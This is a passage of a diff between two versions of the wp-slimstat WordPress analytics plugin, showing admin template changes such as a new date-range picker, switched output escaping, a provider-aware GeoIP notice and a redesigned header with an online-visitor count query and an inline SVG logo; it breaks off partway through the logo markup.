wp_slimstat_reports::fs_url('strtotime equals today&&&interval equals -28') ?>\">\u003C?php _e('Last 4 weeks', 'wp-slimstat') ?>\u003C\u002Fa>\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo wp_slimstat_reports::fs_url('strtotime equals today&&&interval equals -84') ?>\">\u003C?php _e('Last 12 weeks', 'wp-slimstat') ?>\u003C\u002Fa>\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo wp_slimstat_reports::fs_url('strtotime equals today&&&interval equals -364') ?>\">\u003C?php _e('Last 12 months', 'wp-slimstat') ?>\u003C\u002Fa>\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo wp_slimstat_reports::fs_url('strtotime equals today&&&interval equals -' . date('j')) ?>\">\u003C?php _e('This Month', 'wp-slimstat') ?>\u003C\u002Fa>\n-                        \u003Ca class=\"slimstat-filter-link noslimstat\" href=\"\u003C?php echo wp_slimstat_reports::fs_url('strtotime equals last day of -1 month 00:00:00 + 1 day &&&interval equals -' . date('d', strtotime('last day of -1 month 23:59:59'))) ?>\">\u003C?php _e('Previous Month', 'wp-slimstat') ?>\u003C\u002Fa>\n-                    \u003C\u002Fdiv>\n-\n-                    \u003Cstrong>\u003C?php _e('Date Range', 'wp-slimstat') ?>\u003C\u002Fstrong>\n-\n-                    \u003Clabel for=\"slimstat-filter-hour\">\u003C?php _e('Hour', 'wp-slimstat') ?>\u003C\u002Flabel>\n-                    \u003Cinput type=\"text\" name=\"hour\" id=\"slimstat-filter-hour\" placeholder=\"\u003C?php _e('Hour', 'wp-slimstat') ?>\" class=\"short\" value=\"\">\n-\n-                    \u003Clabel for=\"slimstat-filter-day\">\u003C?php _e('Day', 'wp-slimstat') ?>\u003C\u002Flabel>\n-                    \u003Cinput type=\"text\" name=\"day\" id=\"slimstat-filter-day\" placeholder=\"\u003C?php _e('Day', 'wp-slimstat') ?>\" class=\"short\" value=\"\">\n-\n-                    \u003Clabel for=\"slimstat-filter-month\">\u003C?php _e('Month', 'wp-slimstat') ?>\u003C\u002Flabel>\n-                    \u003Cselect name=\"month\" id=\"slimstat-filter-month\">\n-                        \u003Coption value=\"\">\u003C?php _e('Month', 'wp-slimstat') ?>\u003C\u002Foption>\u003C?php\n-    for ($i = 1; $i \u003C= 12; $i++) {\n-        echo sprintf(\"\u003Coption value='%d'>\", $i) . $GLOBALS['wp_locale']->get_month($i) . '\u003C\u002Foption>';\n-    }\n-?>\n-                    \u003C\u002Fselect>\n-\n-                    \u003Clabel for=\"slimstat-filter-year\">Year\u003C\u002Flabel>\n-                    \u003Cinput type=\"text\" name=\"year\" id=\"slimstat-filter-year\" placeholder=\"\u003C?php _e('Year', 'wp-slimstat') ?>\" class=\"short\" value=\"\">\n-\n-                    \u003Cinput type=\"hidden\" class=\"slimstat-filter-date\" name=\"slimstat-filter-date\" value=\"\"\u002F>\n-                    \u003Cbr\u002F>\n-\n-                    \u003Clabel for=\"slimstat-filter-interval\">\u003C?php _e('Days in interval', 'wp-slimstat') ?>\u003C\u002Flabel>\n-                    \u003Cinput type=\"text\" name=\"interval\" id=\"slimstat-filter-interval\" placeholder=\"\u003C?php _e('&plusmn; days', 'wp-slimstat') ?>\" class=\"short\" value=\"\" title=\"\u003C?php _e('To define an interval, enter the number of days (negative to go back in time).', 'wp-slimstat') ?>\">\n-\n-                    \u003Clabel for=\"slimstat-filter-interval_hours\">\u003C?php _e('Hours in interval', 'wp-slimstat') ?>\u003C\u002Flabel>\n-                    \u003Cinput type=\"text\" name=\"interval_hours\" id=\"slimstat-filter-interval_hours\" placeholder=\"\u003C?php _e('&plusmn; hours', 'wp-slimstat') ?>\" class=\"short\" value=\"\">\n-\n-                    \u003Cinput type=\"submit\" value=\"\u003C?php _e('Apply', 'wp-slimstat') ?>\" class=\"button button-primary noslimstat right\">\n-\n-                    \u003C?php\n-                    wp_slimstat::toggle_date_i18n_filters(false);\n-\n-if (\n-    wp_slimstat_db::$filters_normalized['date']['day'] != intval(date_i18n('j')) || wp_slimstat_db::$filters_normalized['date']['month'] != intval(date_i18n('n')) || wp_slimstat_db::$filters_normalized['date']['year'] != intval(date_i18n('Y')) || (wp_slimstat_db::$filters_normalized['date']['interval'] != -abs(wp_slimstat::$settings['posts_column_day_interval']) && wp_slimstat_db::$filters_normalized['date']['interval'] != -intval(date_i18n('j')) + 1)\n-) {\n-    echo '\u003Ca class=\"slimstat-filter-link button button-secondary noslimstat\" data-reset-filters=\"true\" href=\"' . wp_slimstat_reports::fs_url() . '\">' . __('Reset Filters', 'wp-slimstat') . '\u003C\u002Fa>';\n-}\n-?>\n+                \u003C?php\n+                \u002F\u002F Get current date range for display\n+                $current_range = DateRangeHelper::get_current_date_range();\n+                $display_label = DateRangeHelper::format_date_range($current_range['start'], $current_range['end'], $current_range['preset']);\n+                ?>\n+                \n+                \u003C!-- New Statistics-style Date Range Picker -->\n+                \u003Cdiv class=\"slimstat-date-range-picker\">\n+                    \u003Cbutton type=\"button\" class=\"slimstat-date-range-btn\" aria-haspopup=\"true\" aria-expanded=\"false\">\n+                        \u003Cdiv class=\"datepicker-badge-elements\">\n+                            \u003Csvg class=\"calendar-icon\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"16\" height=\"16\" fill=\"none\">\n+                                \u003Cdefs>\n+                                    \u003CclipPath id=\"slimstat-calendar-clip\">\n+                                        \u003Cpath fill=\"#fff\" d=\"M0 0h16v16H0z\"\u002F>\n+                                    \u003C\u002FclipPath>\n+                                \u003C\u002Fdefs>\n+                                \u003Cg clip-path=\"url(#slimstat-calendar-clip)\" stroke=\"currentColor\" stroke-linejoin=\"round\">\n+                                    \u003Cpath d=\"M13 2.5H3a.5.5 0 0 0-.5.5v10a.5.5 0 0 0 .5.5h10a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5z\"\u002F>\n+                                    \u003Cg stroke-linecap=\"round\">\n+                                        \u003Cpath d=\"M11 1.5v2m-6-2v2m-2.5 2h11\"\u002F>\n+                                    \u003C\u002Fg>\n+                                \u003C\u002Fg>\n+                            \u003C\u002Fsvg>\n+                            \u003Cspan class=\"date-label\">\u003C?php echo esc_html($display_label); ?>\u003C\u002Fspan>\n+                        \u003C\u002Fdiv>\n+                        \u003Cdiv class=\"datepicker-badge-elements\">\n+                            \u003Cspan class=\"caret\">\u003C\u002Fspan>\n+                        \u003C\u002Fdiv>\n+                    \u003C\u002Fbutton>\n+                    \u003Cinput type=\"text\" class=\"slimstat-date-range-input\" style=\"display: none;\" \u002F>\n                 \u003C\u002Fdiv>\n-                \u003Cdiv id=\"datepicker-backdrop\">\u003C\u002Fdiv>\n             \u003C\u002Ffieldset>\u003C!-- .slimstat-date-filters -->\n \n             \u003C?php foreach (wp_slimstat_db::$filters_normalized['columns'] as $a_key => $a_details) : ?>\n-                \u003Cinput type=\"hidden\" name=\"fs[\u003C?php echo esc_attr($a_key); ?>]\" class=\"slimstat-post-filter\" value=\"\u003C?php echo htmlspecialchars($a_details[0] . ' ' . $a_details[1]) ?>\"\u002F>\n+                \u003Cinput type=\"hidden\" name=\"fs[\u003C?php echo esc_attr($a_key); ?>]\" class=\"slimstat-post-filter\" value=\"\u003C?php echo esc_attr($a_details[0] . ' ' . $a_details[1]) ?>\"\u002F>\n             \u003C?php endforeach ?>\n \n             \u003C?php foreach (wp_slimstat_db::$filters_normalized['date'] as $a_key => $a_value) : if (!empty($a_value)) : ?>\n-                \u003Cinput type=\"hidden\" name=\"fs[\u003C?php echo esc_attr($a_key); ?>]\" class=\"slimstat-post-filter\" value=\"equals \u003C?php echo htmlspecialchars($a_value) ?>\"\u002F>\n+                \u003Cinput type=\"hidden\" name=\"fs[\u003C?php echo esc_attr($a_key); ?>]\" class=\"slimstat-post-filter\" value=\"equals \u003C?php echo esc_attr($a_value) ?>\"\u002F>\n             \u003C?php endif;\n             endforeach; ?>\n \n             \u003C?php foreach (wp_slimstat_db::$filters_normalized['misc'] as $a_key => $a_value) : if (!empty($a_value)) : ?>\n-                \u003Cinput type=\"hidden\" name=\"fs[\u003C?php echo esc_attr($a_key); ?>]\" class=\"slimstat-post-filter\" value=\"equals \u003C?php echo htmlspecialchars($a_value) ?>\"\u002F>\n+                \u003Cinput type=\"hidden\" name=\"fs[\u003C?php echo esc_attr($a_key); ?>]\" class=\"slimstat-post-filter\" value=\"equals \u003C?php echo esc_attr($a_value) ?>\"\u002F>\n             \u003C?php endif;\n             endforeach; ?>\n         \u003C\u002Fform>\n \n         \u003C?php\n-        if (('disable' == wp_slimstat::$settings['enable_maxmind'] || !\\SlimStat\\Services\\GeoIP::database_exists()) && 'on' == wp_slimstat::$settings['notice_geolite']) {\n-            wp_slimstat_admin::show_message(sprintf(__(\"GeoIP collection is not enabled. Please go to \u003Ca href='%s' class='noslimstat'>setting page\u003C\u002Fa> to enable GeoIP for getting more information and location (country) from the visitor.\", 'wp-slimstat'), self::$config_url . '2#wp-slimstat-third-party-libraries'), 'warning', 'geolite');\n+        \u002F\u002F Provider-aware GeoIP notice: show only if a DB-based provider is selected and the database file is missing\n+        $provider = wp_slimstat::$settings['geolocation_provider'] ?? 'dbip';\n+        $uses_db  = in_array($provider, ['dbip', 'maxmind'], true);\n+        if ($uses_db && 'on' == wp_slimstat::$settings['notice_geolite']) {\n+            try {\n+                $service = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n+                if (!file_exists($service->getProvider()->getDbPath())) {\n+                    wp_slimstat_admin::show_message(sprintf(__(\"GeoIP collection is not enabled. Please go to \u003Ca href='%s' class='noslimstat'>setting page\u003C\u002Fa> to enable GeoIP for getting more information and location (country) from the visitor.\", 'wp-slimstat'), self::$config_url . '2#wp-slimstat-third-party-libraries'), 'warning', 'geolite');\n+                }\n+            } catch (\\Throwable $e) {\n+                wp_slimstat_admin::show_message(sprintf(__(\"GeoIP collection is not enabled. Please go to \u003Ca href='%s' class='noslimstat'>setting page\u003C\u002Fa> to enable GeoIP for getting more information and location (country) from the visitor.\", 'wp-slimstat'), self::$config_url . '2#wp-slimstat-third-party-libraries'), 'warning', 'geolite');\n+            }\n         }\n \n if (PHP_VERSION_ID >= 70100 && !file_exists(wp_slimstat::$upload_dir . '\u002Fbrowscap-cache-master\u002Fversion.txt') && 'on' == wp_slimstat::$settings['notice_browscap']) {\n@@ -170,4 +140,4 @@\n         \u003C\u002Fdiv>\n     \u003C\u002Fdiv>\n     \u003Cdiv id=\"slimstat-modal-dialog\">\u003C\u002Fdiv>\n-\u003C\u002Fdiv>\n\\ No newline at end of file\n+\u003C\u002Fdiv>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Flayout.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Flayout.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Flayout.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Flayout.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -5,7 +5,11 @@\n \n \u003Cdiv class=\"backdrop-container \">\n     \u003Cdiv class=\"wrap slimstat slimstat-layout\">\n-        \u003Ch2>\u003C?php _e('Customize and organize your reports', 'wp-slimstat') ?>\u003C\u002Fh2>\n+        \u003C?php wp_slimstat_admin::get_template('header', ['is_pro' => wp_slimstat::pro_is_installed()]); ?>\n+\n+        \u003Ch1 class=\"wp-heading-inline\">\u003C?php _e('Customize', 'wp-slimstat'); ?>\u003C\u002Fh1>\n+        \u003Chr class=\"wp-header-end\">\n+\n         \u003Cp>\u003C?php\n             _e('You can drag and drop the placeholders here below from one widget area to another, to customize the layout of each report screen. You can place multiple charts on the same view, clone reports or move them to the Inactive Reports if you are not interested in that specific metric.', 'wp-slimstat');\n if (is_network_admin()) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fpartials\u002Fheader.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fpartials\u002Fheader.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Fview\u002Fpartials\u002Fheader.php\t2023-11-22 16:23:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Fview\u002Fpartials\u002Fheader.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -1,21 +1,169 @@\n \u003C!-- Header File-->\n+\u003C?php\n \n-\u003Cdiv class=\"slimstat-header\">\n-    \u003Cimg src=\"\u003C?php echo esc_url(plugin_dir_url(__FILE__) . '..\u002F..\u002Fassets\u002Fimages\u002Fwhite-slimstat-logo.png'); ?>\" class=\"logo\"\u002F>\n+use SlimStat\\Components\\View;\n+use SlimStat\\Services\\Admin\\Notification\\NotificationFactory;\n \n-    \u003C?php if (isset($is_pro) && !$is_pro): ?>\n-        \u003Cdiv class=\"vr-line\">\u003C\u002Fdiv>\n-        \u003Cdiv class=\"go-pro slimstat-upgrade-pro\">\n-            \u003Ca href=\"\u003C?php echo admin_url('admin.php?page=slimpro'); ?>\">\u003C?php esc_html_e('Go PRO', 'wp-slimstat'); ?>\u003Cspan class=\"icon\">\u003C\u002Fspan>\u003C\u002Fa>\n-            \u003Cp>\u003C?php esc_html_e('Upgrade to Pro to unlock more features', 'wp-slimstat'); ?>\u003C\u002Fp>\n+$displayNotifications = (wp_slimstat::$settings['display_notifications'] == 'on');\n+$hasUpdatedNotifications = false;\n+$newNotificationCount = 0;\n+\n+if ($displayNotifications && class_exists(NotificationFactory::class)) {\n+    $hasUpdatedNotifications = NotificationFactory::hasUpdatedNotifications();\n+    $newNotificationCount    = NotificationFactory::getNewNotificationCount();\n+}\n+\n+\n+\n+$online_visitors = 0;\n+\n+if (class_exists('wp_slimstat_db')) {\n+    global $wpdb;\n+    $table = \"{$wpdb->prefix}slim_stats\";\n+    $current_minute_start = (int) floor(current_time('timestamp') \u002F 60) * 60;\n+    $window_minutes = 30; \u002F\u002F 30 minutes - synced with Live Analytics Users Live\n+    $window_start = $current_minute_start - (($window_minutes - 1) * 60);\n+\n+    $sql = $wpdb->prepare(\n+        \"\n+        SELECT COUNT(*) FROM (\n+            SELECT visit_id, MAX(\n+                CASE\n+                    WHEN dt_out IS NOT NULL AND dt_out > 0 AND dt_out >= dt THEN dt_out\n+                    ELSE dt\n+                END\n+            ) AS last_activity\n+            FROM {$table}\n+            WHERE visit_id > 0\n+                AND (\n+                    dt >= %d\n+                    OR ( dt_out IS NOT NULL AND dt_out >= %d )\n+                )\n+            GROUP BY visit_id\n+            HAVING (FLOOR(last_activity \u002F 60) * 60 + 59) >= %d\n+        ) live_sessions\n+        \",\n+        $window_start,\n+        $window_start,\n+        $window_start\n+    );\n+\n+    $online_visitors = (int) $wpdb->get_var($sql);\n+}\n+\n+$online_visitors = max(0, (int) $online_visitors);\n+$formatted_online_visitors = number_format_i18n($online_visitors);\n+\n+$support_url   = 'https:\u002F\u002Fwp-slimstat.com\u002Fcontact\u002F?utm_source=plugin&utm_medium=header&utm_campaign=support';\n+$docs_url      = 'https:\u002F\u002Fwp-slimstat.com\u002Fresources\u002F?utm_source=plugin&utm_medium=header&utm_campaign=docs';\n+$settings_url  = admin_url('admin.php?page=slimconfig');\n+$upgrade_url   = 'https:\u002F\u002Fwp-slimstat.com\u002Fpricing\u002F?utm_source=wp-slimstat&utm_medium=link&utm_campaign=header';\n+$logo_url      = plugin_dir_url(__FILE__) . '..\u002F..\u002Fassets\u002Fimages\u002Fwhite-slimstat-logo.png';\n+?>\n+\n+\u003Cdiv class=\"slimstat-header slimstat-header--modern\">\n+    \u003Cdiv class=\"slimstat-header__brand\">\n+        \u003Cdiv class=\"slimstat-header__brand-copy\">\n+            \u003Csvg width=\"118\" height=\"30\" viewBox=\"0 0 118 30\" fill=\"none\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n+                \u003Cg clip-path=\"url(#clip0_1213_2675)\">\n+                    \u003Cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M0 15C0 6.71582 6.7069 0 14.9801 0C20.2546 0 24.8865 2.72788 27.5572 6.84316L19.371 15.1743H19.3643V15.1877C19.0765 15.4893 18.5946 15.496 18.2934 15.2011C18.2599 15.1743 18.2331 15.1408 18.2064 15.1005L15.9239 11.9638C13.9627 9.27614 10.047 9.03485 7.77787 11.4678L0.589029 19.1756C0.194112 17.8217 0 16.4142 0 15ZM2.69079 23.5858C5.40167 27.4665 9.89302 30.0067 14.9801 30.0067C23.2533 30.0067 29.9602 23.2909 29.9602 15.0067C29.9602 13.7399 29.8062 12.5134 29.5117 11.3405L22.604 18.3646C20.3148 20.7172 16.466 20.4424 14.5316 17.7949L12.2491 14.6582C12.0015 14.3231 11.5329 14.2426 11.1916 14.4906C11.1514 14.5174 11.1179 14.5509 11.0845 14.5845L2.69079 23.5858Z\" fill=\"#F22F46\"\u002F>\n+                    \u003Cpath d=\"M43.3205 18.6394C42.2496 18.6394 41.2656 18.445 40.3754 18.0495C39.4851 17.6407 38.7288 17.0911 38.1063 16.394C37.4972 15.7171 37.042 14.9195 36.7676 14.0549L38.6953 13.264C39.1036 14.3565 39.706 15.1943 40.5093 15.7841C41.3259 16.3605 42.2763 16.6487 43.3674 16.6487C44.03 16.6487 44.6124 16.5415 45.1144 16.3337C45.6164 16.1259 45.9979 15.8243 46.2724 15.449C46.5602 15.0536 46.7008 14.6045 46.7008 14.0884C46.7008 13.378 46.4933 12.815 46.0916 12.4061C45.6967 11.9839 45.1144 11.6621 44.3446 11.4544L41.2388 10.5026C40.0139 10.1273 39.0768 9.52407 38.4276 8.70637C37.7783 7.88868 37.4503 6.95034 37.4503 5.89136C37.4503 4.96643 37.6712 4.15544 38.1063 3.46509C38.5614 2.75463 39.1772 2.19833 39.9671 1.80959C40.7703 1.40075 41.6739 1.19967 42.6846 1.19967C43.6954 1.19967 44.6124 1.38064 45.429 1.74257C46.259 2.1045 46.9618 2.60048 47.5374 3.2171C48.1064 3.81361 48.5415 4.52407 48.8092 5.30825L46.9016 6.09914C46.5401 5.14739 45.9912 4.43024 45.2683 3.94096C44.5454 3.44498 43.6887 3.19029 42.7047 3.19029C42.1023 3.19029 41.5601 3.29753 41.0983 3.5053C40.6632 3.68627 40.2884 3.99458 40.034 4.39002C39.793 4.77206 39.6726 5.22112 39.6726 5.75061C39.6726 6.37394 39.8667 6.92353 40.2616 7.40611C40.6565 7.88868 41.2522 8.26402 42.0555 8.51871L44.8868 9.35651C46.2188 9.76536 47.2228 10.3485 47.9056 11.1058C48.5883 11.8632 48.923 12.8015 48.923 13.9209C48.923 14.8458 48.682 15.6635 48.2001 16.3739C47.7316 17.0844 47.0756 17.6474 46.2255 18.0562C45.3955 18.4517 44.425 18.6461 43.3205 18.6461V18.6394ZM50.7905 18.3646V1.17957H52.899V18.3646H50.7905ZM55.0342 18.3646V6.13265H57.1426V18.3713H55.0342V18.3646ZM55.0342 4.17554V1.45436H57.1426V4.18225H55.0342V4.17554ZM59.2846 18.3646V6.13265H61.3462V8.63265L61.0517 8.24391C61.3529 7.47313 61.8348 6.88332 62.5041 6.47447C63.1668 6.06562 63.9165 5.86455 64.7465 5.86455C65.697 5.86455 66.5537 6.13265 67.3101 6.66214C68.0798 7.19163 68.6086 7.88868 68.8965 8.75329L68.3074 8.7734C68.622 7.82166 69.1642 7.1045 69.9139 6.61522C70.6568 6.11924 71.5337 5.85785 72.4306 5.86455C73.274 5.86455 74.0371 6.05892 74.7198 6.45436C75.4092 6.8431 75.9782 7.40611 76.3731 8.08975C76.7814 8.7868 76.9889 9.57099 76.9889 10.449V18.3713H74.8604V11.1259C74.8604 10.4423 74.7399 9.87259 74.4989 9.40343C74.258 8.93426 73.9233 8.57233 73.5016 8.31093C73.0933 8.03613 72.6114 7.90209 72.0491 7.90209C71.4868 7.90209 71.0116 8.03613 70.5765 8.31093C70.1548 8.56562 69.8135 8.94096 69.5591 9.42353C69.3181 9.8927 69.1977 10.4624 69.1977 11.1259V18.3713H67.0691V11.1259C67.0691 10.4423 66.9486 9.87259 66.7077 9.40343C66.4667 8.93426 66.132 8.57233 65.7103 8.31093C65.302 8.03613 64.8201 7.90209 64.2578 7.90209C63.7358 7.90209 63.2271 8.03613 62.7853 8.31093C62.3636 8.56562 62.0222 8.94096 61.7612 9.42353C61.5202 9.8927 61.3997 10.4624 61.3997 11.1259V18.3713H59.2913L59.2846 18.3646ZM84.9073 18.6394C83.8364 18.6394 82.8524 18.445 81.9622 18.0495C81.072 17.6407 80.3156 17.0911 79.6931 16.394C79.084 15.7171 78.6288 14.9195 78.3544 14.0549L80.2821 13.264C80.6904 14.3565 81.2929 15.1943 82.0961 15.7841C82.9127 16.3605 83.8632 16.6487 84.9542 16.6487C85.6169 16.6487 86.1992 16.5415 86.7012 16.3337C87.2032 16.1259 87.5848 15.8243 87.8592 15.449C88.147 15.0536 88.2876 14.6045 88.2876 14.0884C88.2876 13.378 88.0868 12.815 87.6785 12.4061C87.2836 11.9839 86.7012 11.6621 85.9315 11.4544L82.8257 10.5026C81.6007 10.1273 80.6637 9.52407 80.0144 8.70637C79.3651 7.88868 79.0371 6.95034 79.0371 5.89136C79.0371 4.96643 79.258 4.15544 79.6931 3.46509C80.1483 2.75463 80.7641 2.19833 81.5539 1.80959C82.3571 1.40075 83.2607 1.19967 84.2782 1.19967C85.2956 1.19967 86.2059 1.38064 87.0225 1.74257C87.8525 2.1045 88.5553 2.60048 89.131 3.2171C89.6999 3.81361 90.135 4.52407 90.4027 5.30825L88.4951 6.09914C88.1336 5.14739 87.5914 4.43024 86.8619 3.94096C86.139 3.44498 85.2822 3.19029 84.2982 3.19029C83.6958 3.19029 83.1536 3.29753 82.6851 3.5053C82.25 3.68627 81.8752 3.99458 81.6208 4.39002C81.3799 4.77206 81.2594 5.22112 81.2594 5.75061C81.2594 6.37394 81.4535 6.92353 81.8484 7.40611C82.2433 7.88868 82.8391 8.26402 83.6423 8.51871L86.4736 9.35651C87.8056 9.76536 88.8097 10.3485 89.4924 11.1058C90.1751 11.8632 90.5098 12.8015 90.5098 13.9209C90.5098 14.8458 90.2689 15.6635 89.7869 16.3739C89.3184 17.0844 88.6624 17.6474 87.8123 18.0562C86.9823 18.4517 86.0118 18.6461 84.9073 18.6461V18.6394ZM97.3439 18.5053C96.1525 18.5053 95.2288 18.1635 94.5795 17.4865C93.9436 16.8029 93.629 15.8444 93.629 14.6045V8.15678H91.4067V6.13265H91.8619C92.4041 6.13265 92.8392 5.96509 93.1538 5.63667C93.4684 5.30825 93.629 4.86589 93.629 4.31629V3.31764H95.7375V6.13265H98.4818V8.15678H95.7375V14.5375C95.7375 14.9463 95.7977 15.3015 95.9182 15.6032C96.0521 15.9048 96.2729 16.1461 96.5741 16.327C96.8754 16.4946 97.277 16.575 97.7723 16.575C97.8794 16.575 98.0066 16.5683 98.1605 16.5549C98.3278 16.5415 98.4818 16.5214 98.6157 16.508V18.3713C98.4015 18.4182 98.1806 18.4517 97.9597 18.4651C97.7589 18.4919 97.5514 18.5053 97.3506 18.512L97.3439 18.5053ZM103.663 18.6394C102.859 18.6394 102.15 18.4986 101.534 18.2104C100.932 17.9088 100.45 17.4999 100.108 16.9839C99.7603 16.4544 99.5862 15.8511 99.5862 15.1675C99.5862 14.4839 99.7201 13.9343 99.9945 13.4182C100.282 12.8887 100.717 12.4396 101.306 12.0777C101.909 11.7158 102.665 11.4544 103.576 11.3069L108.107 10.5562V12.3257L104.051 13.0093C103.261 13.1434 102.692 13.3981 102.331 13.76C101.983 14.1219 101.808 14.571 101.808 15.1005C101.808 15.6032 102.003 16.0187 102.398 16.3471C102.806 16.6822 103.315 16.8498 103.917 16.8498C104.687 16.8498 105.356 16.6889 105.912 16.3739C106.467 16.0589 106.936 15.5965 107.25 15.0335C107.585 14.4705 107.759 13.827 107.746 13.1702V10.0603C107.746 9.39672 107.498 8.85383 106.996 8.44498C106.514 8.02273 105.871 7.80825 105.068 7.80825C104.372 7.80825 103.756 7.98922 103.207 8.35115C102.685 8.69297 102.27 9.18225 102.029 9.75865L100.195 8.80691C100.423 8.24391 100.784 7.74793 101.286 7.30557C101.795 6.8431 102.391 6.48117 103.033 6.23989C103.696 5.9852 104.406 5.85115 105.122 5.85785C106.059 5.85785 106.882 6.03882 107.592 6.40074C108.301 6.74927 108.857 7.23855 109.245 7.87528C109.653 8.4986 109.854 9.22246 109.854 10.0536V18.3646H107.792V16.0522L108.181 16.1863C107.92 16.6755 107.565 17.1045 107.137 17.4597C106.675 17.8351 106.153 18.13 105.597 18.3243C105.008 18.5388 104.365 18.6394 103.669 18.6394H103.663ZM116.728 18.5053C115.537 18.5053 114.613 18.1635 113.964 17.4865C113.328 16.8029 113.013 15.8444 113.013 14.6045V8.15678H110.791V6.13265H111.246C111.789 6.13265 112.224 5.96509 112.538 5.63667C112.859 5.30155 113.013 4.86589 113.013 4.31629V3.31764H115.122V6.13265H117.866V8.15678H115.122V14.5375C115.122 14.9463 115.182 15.3015 115.303 15.6032C115.436 15.9048 115.657 16.1461 115.959 16.327C116.26 16.4946 116.661 16.575 117.157 16.575C117.264 16.575 117.391 16.5683 117.545 16.5549C117.712 16.5415 117.86 16.5214 118 16.508V18.3713C117.786 18.4182 117.565 18.4517 117.344 18.4651C117.143 18.4919 116.936 18.5053 116.735 18.512L116.728 18.5053Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M37.2557 27.3458V22.5469H37.8916V24.9262L40.2678 22.5469H41.1246L39.1165 24.4906L41.2116 27.3458H40.3749L38.668 24.9195L37.8849 25.6836V27.3458H37.249H37.2557Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M42.0684 27.3457V23.8672H42.5971V24.3632C42.8515 23.9811 43.2196 23.7935 43.7016 23.7935C43.9091 23.7935 44.1032 23.8337 44.2772 23.9074C44.4513 23.9811 44.5851 24.0817 44.6721 24.2023C44.7592 24.3229 44.8194 24.4704 44.8529 24.638C44.8729 24.7452 44.8863 24.9396 44.8863 25.2077V27.3457H44.2973V25.2345C44.2973 24.9932 44.2772 24.8122 44.2304 24.6983C44.1835 24.5776 44.1032 24.4838 43.9894 24.4101C43.8756 24.3364 43.735 24.3028 43.5811 24.3028C43.3334 24.3028 43.1125 24.3833 42.9318 24.5441C42.7511 24.705 42.6574 25.0066 42.6574 25.449V27.3457H42.0684Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M45.9775 25.6098C45.9775 24.9664 46.1583 24.4905 46.513 24.1822C46.8142 23.9275 47.1757 23.7935 47.6041 23.7935C48.0793 23.7935 48.4742 23.9476 48.7754 24.2626C49.0766 24.5776 49.2306 25.0066 49.2306 25.5629C49.2306 26.012 49.1637 26.3605 49.0298 26.6152C48.8959 26.8699 48.7018 27.0709 48.4474 27.2117C48.1931 27.3524 47.912 27.4262 47.6108 27.4262C47.1221 27.4262 46.7339 27.272 46.4327 26.957C46.1315 26.642 45.9842 26.1929 45.9842 25.6098H45.9775ZM46.58 25.6098C46.58 26.0522 46.6804 26.3873 46.8678 26.6085C47.0619 26.8297 47.3029 26.9436 47.5974 26.9436C47.8919 26.9436 48.1328 26.8297 48.327 26.6085C48.5211 26.3873 48.6148 26.0455 48.6148 25.5897C48.6148 25.1607 48.5144 24.8323 48.3203 24.6112C48.1262 24.39 47.8852 24.276 47.5907 24.276C47.2962 24.276 47.0552 24.3833 46.8611 24.6044C46.667 24.8256 46.5733 25.1607 46.5733 25.6031L46.58 25.6098Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M50.9578 27.3457L49.8936 23.8672H50.5027L51.0582 25.8712L51.2657 26.6152C51.2724 26.575 51.3327 26.3404 51.4465 25.898L52.002 23.8605H52.6044L53.1265 25.8779L53.3006 26.5414L53.5014 25.8712L54.0971 23.8605H54.666L53.5817 27.339H52.9726L52.417 25.2546L52.2831 24.6648L51.5803 27.339H50.9645L50.9578 27.3457Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M57.8721 27.3458V22.5469H58.8292L59.9604 25.945C60.0675 26.26 60.1412 26.5013 60.188 26.6555C60.2416 26.4812 60.3286 26.2265 60.4424 25.8847L61.587 22.5469H62.437V27.3458H61.8279V23.3311L60.4357 27.3458H59.8667L58.4812 23.264V27.3458H57.8721Z\" fill=\"#202224\"\u002F>\n+                    \u003Cpath d=\"M63.5742 25.6098C63.5742 24.9664 63.7549 24.4905 64.1097 24.1822C64.4109 23.9275 64.7724 23.7935 65.2007 23.7935C65.676 23.7935 66.0709 23.9476 66.3721 24.2626C66.6733 24.5776 66.8273 25.0066 66.8273 25.5629C66.8273 26.012 66.7603 26.3605 66.6265 26.6152C66.4926 26.8699 66.2985 27.0709 66.0374 27.2117C65.7831 27.3524 65.502 27.4262 65.2007 27.4262C64.7121 27.4262 64.3239 27.272 64.0227 26.957C63.7215 26.642 